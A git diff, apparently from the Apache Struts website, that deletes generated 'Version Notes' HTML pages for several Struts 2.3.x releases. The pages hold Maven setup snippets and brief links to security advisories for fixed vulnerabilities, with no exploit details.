-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.24.3 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-em [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.24.3&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.24.3-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution,&#160;read more details in&#160;<a shape="rect" href="s2-029.ht [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2328.html b/content/docs/version-notes-2328.html
deleted file mode 100644
index 19a3b69..0000000
--- a/content/docs/version-notes-2328.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.28</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2328.html">Version Notes 2.3.28</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.28</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62687305">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62687305">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62687305">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62687305">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62687305">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62687305">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.28 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.28&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.28-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Possible XSS vulnerability in pages not using UTF-8 was fixed, read more details in&#160;<a shape="rect" href="s2-028.html">S2-028</a></li><li><img class="emoticon emoticon-warning"  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23281.html b/content/docs/version-notes-23281.html
deleted file mode 100644
index 8d768d8..0000000
--- a/content/docs/version-notes-23281.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.28.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23281.html">Version Notes 2.3.28.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.28.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693268">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693268">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693268">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693268">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693268">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693268">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.28.1 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-em [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.28.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.28.1-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Possible RCE vulnerability in <code>XSLTResult</code> was fixed, read more details in&#160;<a shape="rect" href="s2-031.html">S2-031</a></li><li><img class="emoticon emoticon-warni [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2329.html b/content/docs/version-notes-2329.html
deleted file mode 100644
index 0e4d51a..0000000
--- a/content/docs/version-notes-2329.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.29</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2329.html">Version Notes 2.3.29</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.29</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64553429">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64553429">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64553429">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64553429">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64553429">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64553429">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.29 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.29&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.29-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Action name clean up is error prone&#160;<a shape="rect" href="https://cwiki.apache.org/confluence/display/WW/S2-035">S2-035</a></li><li><img class="emoticon emoticon-warning" src="h [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-233.html b/content/docs/version-notes-233.html
deleted file mode 100644
index ddbc709..0000000
--- a/content/docs/version-notes-233.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
